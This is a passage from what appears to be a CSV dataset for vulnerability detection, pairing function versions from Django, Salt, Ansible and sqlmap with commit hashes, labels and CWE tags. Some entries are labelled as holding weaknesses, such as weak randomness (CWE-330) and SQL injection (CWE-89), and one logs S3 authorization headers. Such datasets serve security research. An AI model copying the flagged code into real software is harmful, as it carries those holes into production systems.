        conn.create_function('FLOOR', 1, none_guard(math.floor))
        conn.create_function('LN', 1, none_guard(math.log))
        conn.create_function('LOG', 2, none_guard(lambda x, y: math.log(y, x)))
        conn.create_function('LPAD', 3, _sqlite_lpad)
        conn.create_function('MD5', 1, none_guard(lambda x: hashlib.md5(x.encode()).hexdigest()))
        conn.create_function('MOD', 2, none_guard(math.fmod))
        conn.create_function('PI', 0, lambda: math.pi)
        conn.create_function('POWER', 2, none_guard(operator.pow))
        conn.create_function('RADIANS', 1, none_guard(math.radians))
        conn.create_function('REPEAT', 2, none_guard(operator.mul))
        conn.create_function('REVERSE', 1, none_guard(lambda x: x[::-1]))
        conn.create_function('RPAD', 3, _sqlite_rpad)
        conn.create_function('SIN', 1, none_guard(math.sin))
        conn.create_function('SQRT', 1, none_guard(math.sqrt))
        conn.create_function('TAN', 1, none_guard(math.tan))
        conn.create_aggregate('STDDEV_POP', 1, list_aggregate(statistics.pstdev))
        conn.create_aggregate('STDDEV_SAMP', 1, list_aggregate(statistics.stdev))
        conn.create_aggregate('VAR_POP', 1, list_aggregate(statistics.pvariance))
        conn.create_aggregate('VAR_SAMP', 1, list_aggregate(statistics.variance))
        conn.execute('PRAGMA foreign_keys = ON')
        return conn"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,0,"def test_custom_admin_site(self):
        model_admin = ModelAdmin(City, customadmin.site)
        content_type_pk = ContentType.objects.get_for_model(City).pk
        redirect_url = model_admin.get_view_on_site_url(self.c1)
        self.assertEqual(
            redirect_url,
            reverse(
                f""{customadmin.site.name}:view_on_site"",
                kwargs={
                    ""content_type_id"": content_type_pk,
                    ""object_id"": self.c1.pk,
                },
            ),
        )",CWE-Unknown,django/django,ef8ae06c2acd7b3673fee15b379213169153c7b0,"def test_custom_admin_site(self):
        model_admin = ModelAdmin(City, customadmin.site)
        content_type_pk = ContentType.objects.get_for_model(City).pk
        redirect_url = model_admin.get_view_on_site_url(self.c1)
        self.assertEqual(
            redirect_url,
            reverse(
                f""{customadmin.site.name}:view_on_site"",
                kwargs={
                    ""content_type_id"": content_type_pk,
                    ""object_id"": self.c1.pk,
                },
            ),
        )"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/utils/s3.py,0,"def query(key, keyid, method='GET', params=None, headers=None,
          requesturl=None, return_url=False, bucket=None, service_url=None,
          path='', return_bin=False, action=None, local_file=None,
          verify_ssl=True, full_headers=False, kms_keyid=None,
          location=None, role_arn=None, chunk_size=16384):
    '''
    Perform a query against an S3-like API. This function requires that a
    secret key and the id for that key are passed in. For instance:

        s3.keyid: GKTADJGHEIQSXMKKRBJ08H
        s3.key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs

    If keyid or key is not specified, an attempt to fetch them from EC2 IAM
    metadata service will be made.

    A service_url may also be specified in the configuration:

        s3.service_url: s3.amazonaws.com

    If a service_url is not specified, the default is s3.amazonaws.com. This
    may appear in various documentation as an ""endpoint"". A comprehensive list
    for Amazon S3 may be found at::

        http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region

    The service_url will form the basis for the final endpoint that is used to
    query the service.

    SSL verification may also be turned off in the configuration:

    s3.verify_ssl: False

    This is required if using S3 bucket names that contain a period, as
    these will not match Amazon's S3 wildcard certificates. Certificate
    verification is enabled by default.

    A region may be specified:

        s3.location: eu-central-1

    If region is not specified, an attempt to fetch the region from EC2 IAM
    metadata service will be made. Failing that, default is us-east-1
    '''
    if not HAS_REQUESTS:
        log.error('There was an error: requests is required for s3 access')

    if not headers:
        headers = {}

    if not params:
        params = {}

    if not service_url:
        service_url = 's3.amazonaws.com'

    if bucket:
        endpoint = '{0}.{1}'.format(bucket, service_url)
    else:
        endpoint = service_url

    # Try grabbing the credentials from the EC2 instance IAM metadata if available
    if not key:
        key = salt.utils.aws.IROLE_CODE

    if not keyid:
        keyid = salt.utils.aws.IROLE_CODE

    if kms_keyid is not None and method in ('PUT', 'POST'):
        headers['x-amz-server-side-encryption'] = 'aws:kms'
        headers['x-amz-server-side-encryption-aws-kms-key-id'] = kms_keyid

    if not location:
        location = salt.utils.aws.get_location()

    data = ''
    payload_hash = None
    if method == 'PUT':
        if local_file:
            payload_hash = salt.utils.get_hash(local_file, form='sha256')

    if not requesturl:
        requesturl = 'https://{0}/{1}'.format(endpoint, path)
        headers, requesturl = salt.utils.aws.sig4(
            method,
            endpoint,
            params,
            data=data,
            uri='/{0}'.format(path),
            prov_dict={'id': keyid, 'key': key},
            role_arn=role_arn,
            location=location,
            product='s3',
            requesturl=requesturl,
            headers=headers,
            payload_hash=payload_hash,
        )

    log.debug('S3 Request: {0}'.format(requesturl))
    log.debug('S3 Headers::')
    log.debug('    Authorization: {0}'.format(headers['Authorization']))

    if not data:
        data = None

    if method == 'PUT':
        if local_file:
            with salt.utils.fopen(local_file, 'r') as data:
                result = requests.request(method,
                                          requesturl,
                                          headers=headers,
                                          data=data,
                                          verify=verify_ssl,
                                          stream=True)
    elif method == 'GET' and local_file and not return_bin:
        result = requests.request(method,
                                  requesturl,
                                  headers=headers,
                                  data=data,
                                  verify=verify_ssl,
                                  stream=True)
    else:
        result = requests.request(method,
                                  requesturl,
                                  headers=headers,
                                  data=data,
                                  verify=verify_ssl)

    if result.status_code >= 400:
        # On error the S3 API response should contain error message
        log.debug('    Response content: {0}'.format(result.content))

    log.debug('S3 Response Status Code: {0}'.format(result.status_code))

    if method == 'PUT':
        if result.status_code == 200:
            if local_file:
                log.debug('Uploaded from {0} to {1}'.format(local_file, path))
            else:
                log.debug('Created bucket {0}'.format(bucket))
        else:
            if local_file:
                log.debug('Failed to upload from {0} to {1}: {2}'.format(
                                                    local_file,
                                                    path,
                                                    result.status_code,
                                                    ))
            else:
                log.debug('Failed to create bucket {0}'.format(bucket))
        return

    if method == 'DELETE':
        if str(result.status_code).startswith('2'):
            if path:
                log.debug('Deleted {0} from bucket {1}'.format(path, bucket))
            else:
                log.debug('Deleted bucket {0}'.format(bucket))
        else:
            if path:
                log.debug('Failed to delete {0} from bucket {1}: {2}'.format(
                                                    path,
                                                    bucket,
                                                    result.status_code,
                                                    ))
            else:
                log.debug('Failed to delete bucket {0}'.format(bucket))
        return

    # This can be used to save a binary object to disk
    if local_file and method == 'GET':
        log.debug('Saving to local file: {0}'.format(local_file))
        with salt.utils.fopen(local_file, 'wb') as out:
            for chunk in result.iter_content(chunk_size=chunk_size):
                out.write(chunk)
        return 'Saved to local file: {0}'.format(local_file)

    # This can be used to return a binary object wholesale
    if return_bin:
        return result.content

    if result.content:
        items = ET.fromstring(result.content)

        ret = []
        for item in items:
            ret.append(xml.to_dict(item))

        if return_url is True:
            return ret, requesturl
    else:
        if result.status_code != requests.codes.ok:
            return
        ret = {'headers': []}
        if full_headers:
            ret['headers'] = dict(result.headers)
        else:
            for header in result.headers:
                ret['headers'].append(header.strip())

    return ret",,saltstack/salt,623e2eb61f25adfaff4855e94e1eca2aae050256,"def query(key, keyid, method='GET', params=None, headers=None,
          requesturl=None, return_url=False, bucket=None, service_url=None,
          path='', return_bin=False, action=None, local_file=None,
          verify_ssl=True, full_headers=False, kms_keyid=None,
          location=None, role_arn=None, chunk_size=16384):
    '''
    Perform a query against an S3-like API. This function requires that a
    secret key and the id for that key are passed in. For instance:

        s3.keyid: GKTADJGHEIQSXMKKRBJ08H
        s3.key: askdjghsdfjkghWupUjasdflkdfklgjsdfjajkghs

    If keyid or key is not specified, an attempt to fetch them from EC2 IAM
    metadata service will be made.

    A service_url may also be specified in the configuration:

        s3.service_url: s3.amazonaws.com

    If a service_url is not specified, the default is s3.amazonaws.com. This
    may appear in various documentation as an ""endpoint"". A comprehensive list
    for Amazon S3 may be found at::

        http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region

    The service_url will form the basis for the final endpoint that is used to
    query the service.

    SSL verification may also be turned off in the configuration:

    s3.verify_ssl: False

    This is required if using S3 bucket names that contain a period, as
    these will not match Amazon's S3 wildcard certificates. Certificate
    verification is enabled by default.

    A region may be specified:

        s3.location: eu-central-1

    If region is not specified, an attempt to fetch the region from EC2 IAM
    metadata service will be made. Failing that, default is us-east-1
    '''
    if not HAS_REQUESTS:
        log.error('There was an error: requests is required for s3 access')

    if not headers:
        headers = {}

    if not params:
        params = {}

    if not service_url:
        service_url = 's3.amazonaws.com'

    if bucket:
        endpoint = '{0}.{1}'.format(bucket, service_url)
    else:
        endpoint = service_url

    # Try grabbing the credentials from the EC2 instance IAM metadata if available
    if not key:
        key = salt.utils.aws.IROLE_CODE

    if not keyid:
        keyid = salt.utils.aws.IROLE_CODE

    if kms_keyid is not None and method in ('PUT', 'POST'):
        headers['x-amz-server-side-encryption'] = 'aws:kms'
        headers['x-amz-server-side-encryption-aws-kms-key-id'] = kms_keyid

    if not location:
        location = salt.utils.aws.get_location()

    data = ''
    payload_hash = None
    if method == 'PUT':
        if local_file:
            payload_hash = salt.utils.get_hash(local_file, form='sha256')

    if not requesturl:
        requesturl = 'https://{0}/{1}'.format(endpoint, path)
        headers, requesturl = salt.utils.aws.sig4(
            method,
            endpoint,
            params,
            data=data,
            uri='/{0}'.format(path),
            prov_dict={'id': keyid, 'key': key},
            role_arn=role_arn,
            location=location,
            product='s3',
            requesturl=requesturl,
            headers=headers,
            payload_hash=payload_hash,
        )

    log.debug('S3 Request: {0}'.format(requesturl))
    log.debug('S3 Headers::')
    log.debug('    Authorization: {0}'.format(headers['Authorization']))

    if not data:
        data = None

    if method == 'PUT':
        if local_file:
            with salt.utils.fopen(local_file, 'r') as data:
                result = requests.request(method,
                                          requesturl,
                                          headers=headers,
                                          data=data,
                                          verify=verify_ssl,
                                          stream=True)
        response = result.content
    elif method == 'GET' and local_file and not return_bin:
        result = requests.request(method,
                                  requesturl,
                                  headers=headers,
                                  data=data,
                                  verify=verify_ssl,
                                  stream=True)
        response = result.content
    else:
        result = requests.request(method,
                                  requesturl,
                                  headers=headers,
                                  data=data,
                                  verify=verify_ssl)
        response = result.content
    if result.status_code >= 400:
        # On error the S3 API response should contain error message
        log.debug('    Response content: {0}'.format(response))

    log.debug('S3 Response Status Code: {0}'.format(result.status_code))

    if method == 'PUT':
        if result.status_code == 200:
            if local_file:
                log.debug('Uploaded from {0} to {1}'.format(local_file, path))
            else:
                log.debug('Created bucket {0}'.format(bucket))
        else:
            if local_file:
                log.debug('Failed to upload from {0} to {1}: {2}'.format(
                                                    local_file,
                                                    path,
                                                    result.status_code,
                                                    ))
            else:
                log.debug('Failed to create bucket {0}'.format(bucket))
        return

    if method == 'DELETE':
        if str(result.status_code).startswith('2'):
            if path:
                log.debug('Deleted {0} from bucket {1}'.format(path, bucket))
            else:
                log.debug('Deleted bucket {0}'.format(bucket))
        else:
            if path:
                log.debug('Failed to delete {0} from bucket {1}: {2}'.format(
                                                    path,
                                                    bucket,
                                                    result.status_code,
                                                    ))
            else:
                log.debug('Failed to delete bucket {0}'.format(bucket))
        return

    # This can be used to save a binary object to disk
    if local_file and method == 'GET':
        log.debug('Saving to local file: {0}'.format(local_file))
        with salt.utils.fopen(local_file, 'wb') as out:
            for chunk in result.iter_content(chunk_size=chunk_size):
                out.write(chunk)
        return 'Saved to local file: {0}'.format(local_file)

    # This can be used to return a binary object wholesale
    if return_bin:
        return response

    if response:
        items = ET.fromstring(response)

        ret = []
        for item in items:
            ret.append(xml.to_dict(item))

        if return_url is True:
            return ret, requesturl
    else:
        if result.status_code != requests.codes.ok:
            return
        ret = {'headers': []}
        if full_headers:
            ret['headers'] = dict(result.headers)
        else:
            for header in result.headers:
                ret['headers'].append(header.strip())

    return ret"
,UNKNOWN,UNKNOWN,django/contrib/postgres/operations.py,1,"def database_forwards(self, app_label, schema_editor, from_state, to_state):
        if schema_editor.connection.vendor != ""postgresql"" or not router.allow_migrate(
            schema_editor.connection.alias, app_label
        ):
            return
        if not self.extension_exists(schema_editor, self.name):
            schema_editor.execute(
                ""CREATE EXTENSION IF NOT EXISTS %s""
                % schema_editor.quote_name(self.name)
            )
        # Clear cached, stale oids.
        get_hstore_oids.cache_clear()
        get_citext_oids.cache_clear()
        # Registering new type handlers cannot be done before the extension is
        # installed, otherwise a subsequent data migration would use the same
        # connection.
        register_type_handlers(schema_editor.connection)
        if hasattr(schema_editor.connection, ""register_geometry_adapters""):
            schema_editor.connection.register_geometry_adapters(
                schema_editor.connection.connection, True
            )",CWE-89,django/django,09ffc5c1212d4ced58b708cbbf3dfbfb77b782ca,"def database_forwards(self, app_label, schema_editor, from_state, to_state):
        if schema_editor.connection.vendor != ""postgresql"" or not router.allow_migrate(
            schema_editor.connection.alias, app_label
        ):
            return
        if not self.extension_exists(schema_editor, self.name):
            schema_editor.execute(
                ""CREATE EXTENSION IF NOT EXISTS %s""
                % schema_editor.quote_name(self.name)
            )
        # Clear cached, stale oids.
        get_hstore_oids.cache_clear()
        get_citext_oids.cache_clear()
        # Registering new type handlers cannot be done before the extension is
        # installed, otherwise a subsequent data migration would use the same
        # connection.
        register_type_handlers(schema_editor.connection)"
,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/amazon/ec2_key.py,1,"def main():
    argument_spec = ec2_argument_spec()
    argument_spec.update(dict(
        name=dict(required=True),
        key_material=dict(required=False),
        force = dict(required=False, type='bool', default=True),
        state = dict(default='present', choices=['present', 'absent']),
        wait = dict(type='bool', default=False),
        wait_timeout = dict(default=300),
    )
    )
    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
    )

    if not HAS_BOTO:
        module.fail_json(msg='boto required for this module')

    name = module.params['name']
    state = module.params.get('state')
    key_material = module.params.get('key_material')
    force = module.params.get('force')
    wait = module.params.get('wait')
    wait_timeout = int(module.params.get('wait_timeout'))

    changed = False

    ec2 = ec2_connect(module)

    # find the key if present
    key = ec2.get_key_pair(name)

    # Ensure requested key is absent
    if state == 'absent':
        if key:
            '''found a match, delete it'''
            if not module.check_mode:
                try:
                    key.delete()
                    if wait:
                        start = time.time()
                        action_complete = False
                        while (time.time() - start) < wait_timeout:
                            if not ec2.get_key_pair(name):
                                action_complete = True
                                break
                            time.sleep(1)
                        if not action_complete:
                            module.fail_json(msg=""timed out while waiting for the key to be removed"")
                except Exception as e:
                    module.fail_json(msg=""Unable to delete key pair '%s' - %s"" % (key, e))
            key = None
            changed = True

    # Ensure requested key is present
    elif state == 'present':
        if key:
            # existing key found
            if key_material and force:
                # EC2's fingerprints are non-trivial to generate, so push this key
                # to a temporary name and make ec2 calculate the fingerprint for us.
                #
                # http://blog.jbrowne.com/?p=23
                # https://forums.aws.amazon.com/thread.jspa?messageID=352828

                # find an unused name
                test = 'empty'
                while test:
                    randomchars = [random.choice(string.ascii_letters + string.digits) for x in range(0,10)]
                    tmpkeyname = ""ansible-"" + ''.join(randomchars)
                    test = ec2.get_key_pair(tmpkeyname)

                # create tmp key
                tmpkey = ec2.import_key_pair(tmpkeyname, to_bytes(key_material))
                # get tmp key fingerprint
                tmpfingerprint = tmpkey.fingerprint
                # delete tmp key
                tmpkey.delete()

                if key.fingerprint != tmpfingerprint:
                    if not module.check_mode:
                        key.delete()
                        key = ec2.import_key_pair(name, to_bytes(key_material))

                        if wait:
                            start = time.time()
                            action_complete = False
                            while (time.time() - start) < wait_timeout:
                                if ec2.get_key_pair(name):
                                    action_complete = True
                                    break
                                time.sleep(1)
                            if not action_complete:
                                module.fail_json(msg=""timed out while waiting for the key to be re-created"")

                    changed = True
            pass

        # if the key doesn't exist, create it now
        else:
            '''no match found, create it'''
            if not module.check_mode:
                if key_material:
                    '''We are providing the key, need to import'''
                    key = ec2.import_key_pair(name, to_bytes(key_material))
                else:
                    '''
                    No material provided, let AWS handle the key creation and
                    retrieve the private key
                    '''
                    key = ec2.create_key_pair(name)

                if wait:
                    start = time.time()
                    action_complete = False
                    while (time.time() - start) < wait_timeout:
                        if ec2.get_key_pair(name):
                            action_complete = True
                            break
                        time.sleep(1)
                    if not action_complete:
                        module.fail_json(msg=""timed out while waiting for the key to be created"")

            changed = True

    if key:
        data = {
            'name': key.name,
            'fingerprint': key.fingerprint
        }
        if key.material:
            data.update({'private_key': key.material})

        module.exit_json(changed=changed, key=data)
    else:
        module.exit_json(changed=changed, key=None)",CWE-330,ansible/ansible,65da6a07896f24948e5fd8c0c0413e8d158ff5ee,"def main():
    argument_spec = ec2_argument_spec()
    argument_spec.update(dict(
        name=dict(required=True),
        key_material=dict(required=False),
        force = dict(required=False, type='bool', default=True),
        state = dict(default='present', choices=['present', 'absent']),
        wait = dict(type='bool', default=False),
        wait_timeout = dict(default=300),
    )
    )
    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
    )

    if not HAS_BOTO:
        module.fail_json(msg='boto required for this module')

    name = module.params['name']
    state = module.params.get('state')
    key_material = module.params.get('key_material')
    force = module.params.get('force')
    wait = module.params.get('wait')
    wait_timeout = int(module.params.get('wait_timeout'))

    changed = False

    ec2 = ec2_connect(module)

    # find the key if present
    key = ec2.get_key_pair(name)

    # Ensure requested key is absent
    if state == 'absent':
        if key:
            '''found a match, delete it'''
            if not module.check_mode:
                try:
                    key.delete()
                    if wait:
                        start = time.time()
                        action_complete = False
                        while (time.time() - start) < wait_timeout:
                            if not ec2.get_key_pair(name):
                                action_complete = True
                                break
                            time.sleep(1)
                        if not action_complete:
                            module.fail_json(msg=""timed out while waiting for the key to be removed"")
                except Exception as e:
                    module.fail_json(msg=""Unable to delete key pair '%s' - %s"" % (key, e))
            key = None
            changed = True

    # Ensure requested key is present
    elif state == 'present':
        if key:
            # existing key found
            if key_material and force:
                # EC2's fingerprints are non-trivial to generate, so push this key
                # to a temporary name and make ec2 calculate the fingerprint for us.
                #
                # http://blog.jbrowne.com/?p=23
                # https://forums.aws.amazon.com/thread.jspa?messageID=352828

                # find an unused name
                test = 'empty'
                while test:
                    randomchars = [random.choice(string.ascii_letters + string.digits) for x in range(0,10)]
                    tmpkeyname = ""ansible-"" + ''.join(randomchars)
                    test = ec2.get_key_pair(tmpkeyname)

                # create tmp key
                tmpkey = ec2.import_key_pair(tmpkeyname, key_material)
                # get tmp key fingerprint
                tmpfingerprint = tmpkey.fingerprint
                # delete tmp key
                tmpkey.delete()

                if key.fingerprint != tmpfingerprint:
                    if not module.check_mode:
                        key.delete()
                        key = ec2.import_key_pair(name, key_material)

                        if wait:
                            start = time.time()
                            action_complete = False
                            while (time.time() - start) < wait_timeout:
                                if ec2.get_key_pair(name):
                                    action_complete = True
                                    break
                                time.sleep(1)
                            if not action_complete:
                                module.fail_json(msg=""timed out while waiting for the key to be re-created"")

                    changed = True
            pass

        # if the key doesn't exist, create it now
        else:
            '''no match found, create it'''
            if not module.check_mode:
                if key_material:
                    '''We are providing the key, need to import'''
                    key = ec2.import_key_pair(name, to_bytes(key_material))
                else:
                    '''
                    No material provided, let AWS handle the key creation and
                    retrieve the private key
                    '''
                    key = ec2.create_key_pair(name)

                if wait:
                    start = time.time()
                    action_complete = False
                    while (time.time() - start) < wait_timeout:
                        if ec2.get_key_pair(name):
                            action_complete = True
                            break
                        time.sleep(1)
                    if not action_complete:
                        module.fail_json(msg=""timed out while waiting for the key to be created"")

            changed = True

    if key:
        data = {
            'name': key.name,
            'fingerprint': key.fingerprint
        }
        if key.material:
            data.update({'private_key': key.material})

        module.exit_json(changed=changed, key=data)
    else:
        module.exit_json(changed=changed, key=None)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,sqlmap.py,0,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        checkEnvironment()

        setPaths()
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if hasattr(conf, ""api""):
            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if conf.profile:
            profile()
        elif conf.smokeTest:
            smokeTest()
        elif conf.liveTest:
            liveTest()
        else:
            try:
                start()
            except thread.error as ex:
                if ""can't start new thread"" in getSafeExString(ex):
                    errMsg = ""unable to start new threads. Please check OS (u)limits""
                    logger.critical(errMsg)
                    raise SystemExit
                else:
                    raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()

        try:
            if any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif ""Read-only file system"" in excMsg:
                errMsg = ""output device is mounted as read-only""
                logger.error(errMsg)
                raise SystemExit

            elif ""_mkstemp_inner"" in excMsg:
                errMsg = ""there has been a problem while accessing temporary files""
                logger.error(errMsg)
                raise SystemExit

            elif ""can't start new thread"" in excMsg:
                errMsg = ""there has been a problem while creating new thread instance. ""
                errMsg += ""Please make sure that you are not running too many processes""
                if not IS_WIN:
                    errMsg += "" (or increase the 'ulimit -u' value)""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            elif ""valueStack.pop"" in excMsg and kb.get(""dumpKeyboardInterrupt""):
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            if hasattr(conf, ""api""):
                logger.critical(""%s\n%s"" % (errMsg, excMsg))
            else:
                logger.critical(errMsg)
                kb.stickyLevel = logging.CRITICAL
                dataToStdout(excMsg)
                createGithubIssue(errMsg, excMsg)

        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False
        kb.threadException = True

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        if kb.get(""tempDir""):
                for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                    for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                        try:
                            os.remove(filepath)
                        except OSError:
                            pass
                if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
                    shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if hasattr(conf, ""api""):
            try:
                conf.database_cursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        try:
            _ = time.time()
            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                time.sleep(0.01)
        except KeyboardInterrupt:
            pass

        # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
        if threading.activeCount() > 1:
            os._exit(0)",,sqlmapproject/sqlmap,2e95fdb52dca64082f2c71a7c3580be723821519,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        checkEnvironment()

        setPaths()
        banner()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if hasattr(conf, ""api""):
            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if conf.profile:
            profile()
        elif conf.smokeTest:
            smokeTest()
        elif conf.liveTest:
            liveTest()
        else:
            try:
                start()
            except thread.error as ex:
                if ""can't start new thread"" in getSafeExString(ex):
                    errMsg = ""unable to start new threads. Please check OS (u)limits""
                    logger.critical(errMsg)
                    raise SystemExit
                else:
                    raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()

        try:
            if any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif ""_mkstemp_inner"" in excMsg:
                errMsg = ""there has been a problem while accessing temporary files""
                logger.error(errMsg)
                raise SystemExit

            elif ""can't start new thread"" in excMsg:
                errMsg = ""there has been a problem while creating new thread instance. ""
                errMsg += ""Please make sure that you are not running too many processes""
                if not IS_WIN:
                    errMsg += "" (or increase the 'ulimit -u' value)""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            elif ""valueStack.pop"" in excMsg and kb.get(""dumpKeyboardInterrupt""):
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            if hasattr(conf, ""api""):
                logger.critical(""%s\n%s"" % (errMsg, excMsg))
            else:
                logger.critical(errMsg)
                kb.stickyLevel = logging.CRITICAL
                dataToStdout(excMsg)
                createGithubIssue(errMsg, excMsg)

        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False
        kb.threadException = True

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        if kb.get(""tempDir""):
                for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY):
                    for filepath in glob.glob(os.path.join(kb.tempDir, ""%s*"" % prefix)):
                        try:
                            os.remove(filepath)
                        except OSError:
                            pass
                if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))):
                    shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if hasattr(conf, ""api""):
            try:
                conf.database_cursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # short delay for thread finalization
        try:
            _ = time.time()
            while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT:
                time.sleep(0.01)
        except KeyboardInterrupt:
            pass

        # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
        if threading.activeCount() > 1:
            os._exit(0)"
,UNKNOWN,UNKNOWN,salt/client/__init__.py,1,"def cmd(
            self,
            tgt,
            fun,
            arg=(),
